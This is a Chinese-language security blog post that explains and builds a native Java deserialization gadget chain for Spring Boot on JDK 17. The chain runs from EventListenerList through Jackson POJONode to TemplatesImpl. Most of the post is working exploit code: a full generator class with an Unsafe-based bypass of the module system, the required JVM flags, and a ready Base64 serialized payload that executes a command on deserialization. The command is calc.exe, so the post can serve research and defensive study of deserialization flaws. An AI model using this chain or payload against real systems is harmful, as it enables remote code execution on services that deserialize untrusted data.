高版本JDKSpring原生反序列化链
发表于:2025-08-31 | 分类: Java

高版本JDKSpring原生反序列化链

前言

在《Java安全share》星球中,jsjcw师傅给出了 在高版本JDK下的spring原生链 POC,当时就想去研究一下这条链子,可惜其中有很多知识点我都没有接触过,所以这条链子的学习周期拉的长了一些

原生反序列化链

环境搭建

新建一个JAVA项目,JDK版本为17

向pom.xml文件中导入如下依赖

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>3.5.4</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.30.2-GA</version>
</dependency>
</dependencies>

漏洞分析

我们先看大概看一下这个调用链,实际调用就分为三步:
  • EventListenerList#readObject调用任意toString方法
  • POJONode#toString调用任意getter方法
  • TemplatesImpl#getOutputProperties任意代码执行

但是在反序列化的过程中,会有以下几个限制和问题,我们需要想办法去绕过这些限制:

  • JackSon链的不稳定性
  • 模块系统

流程分析

EventListenerList触发任意类的toString方法

EventListenerList类为这条反序列化的入口点,EventListenerList#readObject方法可以触发任意类的toString方法,在反序列化时,即可触发vector.add( ${Class} )${Class}类的toString方法,这部分可以参考我之前的文章:EventListenerList触发任意toString | CurlySean’s Blog

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Vector vector = new Vector<>();
vector.add(new User("user"));

UndoManager undoManager = new UndoManager();
Field edits = undoManager.getClass().getSuperclass().getDeclaredField("edits");
edits.setAccessible(true);
edits.set(undoManager, vector);

EventListenerList eventListenerList = new EventListenerList();
Field listenerList = eventListenerList.getClass().getDeclaredField("listenerList");
listenerList.setAccessible(true);
listenerList.set(eventListenerList, new Object[]{Class.class,undoManager});

serialize(eventListenerList);
unserialize("ser.bin");
POJONode#toString调用任意getter方法

第二部分就是POJONode#toString可以调用任意类的任意getter方法

POJONode类其实中并不存在toString方法,但是向上两层的superClass父类BaseJsonNode中存在toString方法,在BaseJsonNode#toString方法中调用了InternalNodeMapper.nodeToString,继续跟入,调用了writeValueAsString方法,该方法其实做了一个序列化的操作,而在序列化的过程中会触发任意类的任意getter方法,这部分内容可以看Jackson反序列化的文章进行学习:Jackson反序列化 | CurlySean’s Blog

Spring Boot 会自动引入 Jackson依赖

而第一部分EventListenerList#readObject可以触发任意类的toString方法,所以我们可以使用EventListenerList调用POJONode#toString方法从而调用任意类的getter方法,其中我们可以调用new POJONode( ${Class} )${Class}的任意getter方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//删除writeReplace方法,防止序列化过程中报错
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {}

TemplatesImpl templates = new TemplatesImpl();

Vector vector = new Vector<>();
vector.add(new POJONode(templates));
UndoManager undoManager = new UndoManager();
Field edits = undoManager.getClass().getSuperclass().getDeclaredField("edits");
edits.setAccessible(true);
edits.set(undoManager, vector);

EventListenerList eventListenerList = new EventListenerList();
Field listenerList = eventListenerList.getClass().getDeclaredField("listenerList");
listenerList.setAccessible(true);
listenerList.set(eventListenerList, new Object[]{Class.class,undoManager});

serialize(eventListenerList);
TemplatesImpl#getOutputProperties任意代码执行

最后一部分就是,POJONode#toString调用TemplatesImplgetOutputPropertiesgetter方法,达到任意代码执行的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//删除writeReplace方法,防止序列化过程中报错
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {}

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_transletIndex", 0);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{getTemplateCode()});

Vector vector = new Vector<>();
vector.add(new POJONode(templates));
UndoManager undoManager = new UndoManager();
Field edits = undoManager.getClass().getSuperclass().getDeclaredField("edits");
edits.setAccessible(true);
edits.set(undoManager, vector);

EventListenerList eventListenerList = new EventListenerList();
Field listenerList = eventListenerList.getClass().getDeclaredField("listenerList");
listenerList.setAccessible(true);
listenerList.set(eventListenerList, new Object[]{Class.class,undoManager});

serialize(eventListenerList);

其实到这里我们的整个链子流程就走完了,但是其中还有一些我们开头说的一些限制,需要我们去找到一些方法去绕过

限制

JDK17模块化的绕过

在本条反序列化链中,其他的地方都是比较容易理解的,最重要的部分其实就是在JDK17中模块化的绕过。其实从 JDK 9 开始,Java 就引入了 JPMS(Java Platform Module System,模块系统),而 JDK 17 里,这一机制已经被完全强化,表现为以下三点:

  • 内部 API 封装:以前我们可以随意 import com.sun.* 或者 sun.* 的内部类,但在 JDK 17, 这些类已经被模块系统强封装,默认不可访问
  • 强封装机制:模块之间的可见性由 module- info.java 描述,如果某个包没有被 exports ,外部模块就无法直接访问。
  • 反射限制:在 JDK 8 及之前,我们常常通过 setAccessible(true) 绕过 private 限制,通过反射访问类的私有字段或构造函数。但在 JDK 17 里,即使你用 setAccessible(true) ,也会被 InaccessibleObjectException 拦住,除非你在 JVM 启动时手动加 - add- opens 参数开放 模块或者使用 Java Agent/Instrumentation 来打破封装
AbstractTranslet继承

在以往利用TemplatesImpl#getOutputProperties时,被利用的目标类是需要继承AbstractTranslet类的,但是由于AbstractTranslet类在com.sun.org.apache.xalan.internal.xsltc.runtime包下,受到模块化的 内部API封装机制 的限制,,是默认不可访问的

对于AbstractTranslet限制的去除,可以看这篇文章:TemplatesImpl 分析 🦖 Whoopsunix

1
2
3
4
5
6
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_transletIndex", 0);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
byte[] code2 = ClassPool.getDefault().makeClass("sean").toBytecode();
setFieldValue(templates, "_bytecodes", new byte[][]{getTemplateCode(), code2});
getOutputProperties访问

由于模块访问的限制,导致我们无法直接利用 getOutputProperties方法,但是我们可以利用 Unsafe 篡改 Module 机制,绕过 JDK 的强封装机制

这里我也搞得不是很清楚,师傅们可以去看这篇文章进行学习:https://xz.aliyun.com/news/18628

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
private static Method getMethod(Class clazz, String methodName, Class[]
params) {
Method method = null;
while (clazz!=null){
try {
method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new
Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new
Object[]{});
unsafe.getAndSetObject(currentClass,
unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}
Jackson链的不稳定性

我们在调用Jackson链,调用任意类的getter方法时,由于getter方法优先级顺序不稳定的原因,会导致Jackson链也会具有不稳定性,我们可以使用JdkDynamicAopProxy来解决Jackson链的不稳定性。

Jackson链不稳定性解决可以看:Jackson中getter触发不稳定问题 | CurlySean’s Blog

同时,我们知道在Jackson反序列化中,会先调用TemplatesImpl类的构造方法,再去调用其getter方法,而TemplatesImplcom.sun.org.apache.xalan.internal.xsltc.trax包下,同样受到内部 API 封装的限制,我们使用Aop代理后,其对外暴露的接口为javax.xml.transform.Templatesjava.xml模块是不受限的,因此可以绕过 模块检测

1
2
3
4
5
6
7
//使用代理绕过模块化限制
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor<?> constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, invocationHandler);

完整POC

这样我们就走完了所有的流程,绕过了所有的限制

这里给出fushuling师傅的Poc吧,自己写的Poc感觉不是很美观

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
import javax.swing.event.EventListenerList;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import javax.swing.undo.UndoManager;
import java.util.Base64;
import java.util.Vector;
import java.util.ArrayList;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import sun.misc.Unsafe;
import java.lang.reflect.Method;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.*;

// --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED
public class SpringRCE {
public static void main(String[] args) throws Exception{
// 删除writeReplace保证正常反序列化
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}

// 把模块强行修改,切换成和目标类一样的 Module 对象
ArrayList<Class> classes = new ArrayList<>();
classes.add(TemplatesImpl.class);
classes.add(POJONode.class);
classes.add(EventListenerList.class);
classes.add(SpringRCE.class);
classes.add(Field.class);
classes.add(Method.class);
new SpringRCE().bypassModule(classes);

// ===== EXP 构造 =====
byte[] code1 = getTemplateCode();
byte[] code2 = ClassPool.getDefault().makeClass("fushuling").toBytecode();

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
setFieldValue(templates,"_transletIndex",0);

POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));

EventListenerList eventListenerList = getEventListenerList(node);

serialize(eventListenerList, true);
}

public static byte[] serialize(Object obj, boolean flag) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
if (flag) System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
return baos.toByteArray();
}

public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}

public static byte[] getTemplateCode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
String block = "Runtime.getRuntime().exec(\"calc.exe\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}

public static EventListenerList getEventListenerList(Object obj) throws Exception{
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();

//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
Vector vector = (Vector) getFieldValue(undomanager, "edits");
vector.add(obj);

setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
return list;
}

private static Method getMethod(Class clazz, String methodName, Class[]
params) {
Method method = null;
while (clazz!=null){
try {
method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new
Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new
Object[]{});
unsafe.getAndSetObject(currentClass,
unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}

public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = null;
Class c = obj.getClass();
for (int i = 0; i < 5; i++) {
try {
field = c.getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
field.setAccessible(true);
return field.get(obj);
}

public static void setFieldValue(Object obj, String field, Object val) throws Exception {
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}

在运行时,我们需要添加一个虚拟机的配置,这里也算是一个模块检测的绕过吧,对应 反射限制 部分

1
--add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED

反序列化时就不需要再开什么配置了,默认即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Read {
public static void main(String[] args) throws Exception {
String exp = "rO0ABXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdJFIzC1z3w7eAwAAeHB0AA9qYXZhLmxhbmcuQ2xhc3NzcgAcamF2YXguc3dpbmcudW5kby5VbmRvTWFuYWdlcvF+nx0IKsIdAgACSQAOaW5kZXhPZk5leHRBZGRJAAVsaW1pdHhyAB1qYXZheC5zd2luZy51bmRvLkNvbXBvdW5kRWRpdKWeULpT25X9AgACWgAKaW5Qcm9ncmVzc0wABWVkaXRzdAASTGphdmEvdXRpbC9WZWN0b3I7eHIAJWphdmF4LnN3aW5nLnVuZG8uQWJzdHJhY3RVbmRvYWJsZUVkaXQIDRuO7QILEAIAAloABWFsaXZlWgALaGFzQmVlbkRvbmV4cAEBAXNyABBqYXZhLnV0aWwuVmVjdG9y2Zd9W4A7rwEDAANJABFjYXBhY2l0eUluY3JlbWVudEkADGVsZW1lbnRDb3VudFsAC2VsZW1lbnREYXRhdAATW0xqYXZhL2xhbmcvT2JqZWN0O3hwAAAAAAAAAAF1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAABkc3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWV0ABJMamF2YS9sYW5nL09iamVjdDt4cgAtY29tLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuVmFsdWVOb2RlAAAAAAAAAAECAAB4cgAwY29tLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuQmFzZUpzb25Ob2RlAAAAAAAAAAECAAB4cHN9AAAAAQAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXN4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcgA0b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkpka0R5bmFtaWNBb3BQcm94eUzEtHEO65b8AgABTAAHYWR2aXNlZHQAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNlZFN1cHBvcnQ7eHBzcgAwb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWRTdXBwb3J0JMuKPPqkxXUCAAZaAAtwcmVGaWx0ZXJlZEwAE2Fkdmlzb3JDaGFpbkZhY3Rvcnl0ADdMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvZnJhbWV3b3JrL0Fkdmlzb3JDaGFpbkZhY3Rvcnk7TAAKYWR2aXNvcktleXQAEExqYXZhL3V0aWwvTGlzdDtMAAhhZHZpc29yc3EAfgAbTAAKaW50ZXJmYWNlc3EAfgAbTAAMdGFyZ2V0U291cmNldAAmTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL1RhcmdldFNvdXJjZTt4cgAtb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLlByb3h5Q29uZmlni0vz5qfg928CAAVaAAtleHBvc2VQcm94eVoABmZyb3plbloABm9wYXF1ZVoACG9wdGltaXplWgAQcHJveHlUYXJnZXRDbGFzc3hwAAAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeQPJ50kFqahMAgAAeHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AInNxAH4AIQAAAAB3BAAAAAB4c3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLnRhcmdldC5TaW5nbGV0b25UYXJnZXRTb3VyY2V9VW71x/j6ugIAAUwABnRhcmdldHEAfgAOeHBzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAAAAAAAHVyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAAAFiyv66vgAAADcAGQEACk15VGVtcGxhdGUHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAD015VGVtcGxhdGUuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BAAhjYWxjLmV4ZQgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAGPGluaXQ+DAAWAAgKAAQAFwAhAAIABAAAAAAAAgAIAAcACAABAAkAAAAWAAIAAAAAAAq4AA8SEbYAFVexAAAAAAABABYACAABAAkAAAARAAEAAQAAAAUqtwAYsQAAAAAAAQAFAAAAAgAGdXEAfgAuAAAAosr+ur4AAAA3AAwBAAlmdXNodWxpbmcHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEADmZ1c2h1bGluZy5qYXZhAQAGPGluaXQ+AQADKClWDAAHAAgKAAQACQEABENvZGUAIQACAAQAAAAAAAEAAQAHAAgAAQALAAAAEQABAAEAAAAFKrcACrEAAAAAAAEABQAAAAIABnB0AAN4eHhwdwEAeHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHgAAAAAAAAAZHB4";
unserialize(Base64.getDecoder().decode(exp));
}

public static void unserialize(byte[] exp) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(exp);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
}

参考文章

https://fushuling.com/index.php/2025/08/21/%e9%ab%98%e7%89%88%e6%9c%acjdk%e4%b8%8b%e7%9a%84spring%e5%8e%9f%e7%94%9f%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e9%93%be/

https://xz.aliyun.com/news/18628

https://infernity.top/2025/03/24/EventListenerList%E8%A7%A6%E5%8F%91%E4%BB%BB%E6%84%8FtoString/

https://whoopsunix.com/docs/PPPYSO/advance/TemplatesImpl/#0x02-%E5%8E%BB%E9%99%A4-abstracttranslet-%E9%99%90%E5%88%B6

https://pankas.top/2023/10/04/%E5%85%B3%E4%BA%8Ejava%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%ADjackson%E9%93%BE%E5%AD%90%E4%B8%8D%E7%A8%B3%E5%AE%9A%E9%97%AE%E9%A2%98/#%E5%AE%9E%E7%8E%B0%E5%8E%9F%E7%90%86

https://drun1baby.top/2023/12/07/Jackson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%EF%BC%88%E4%B8%80%EF%BC%89%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86/

下一篇:
Jackson中getter触发不稳定问题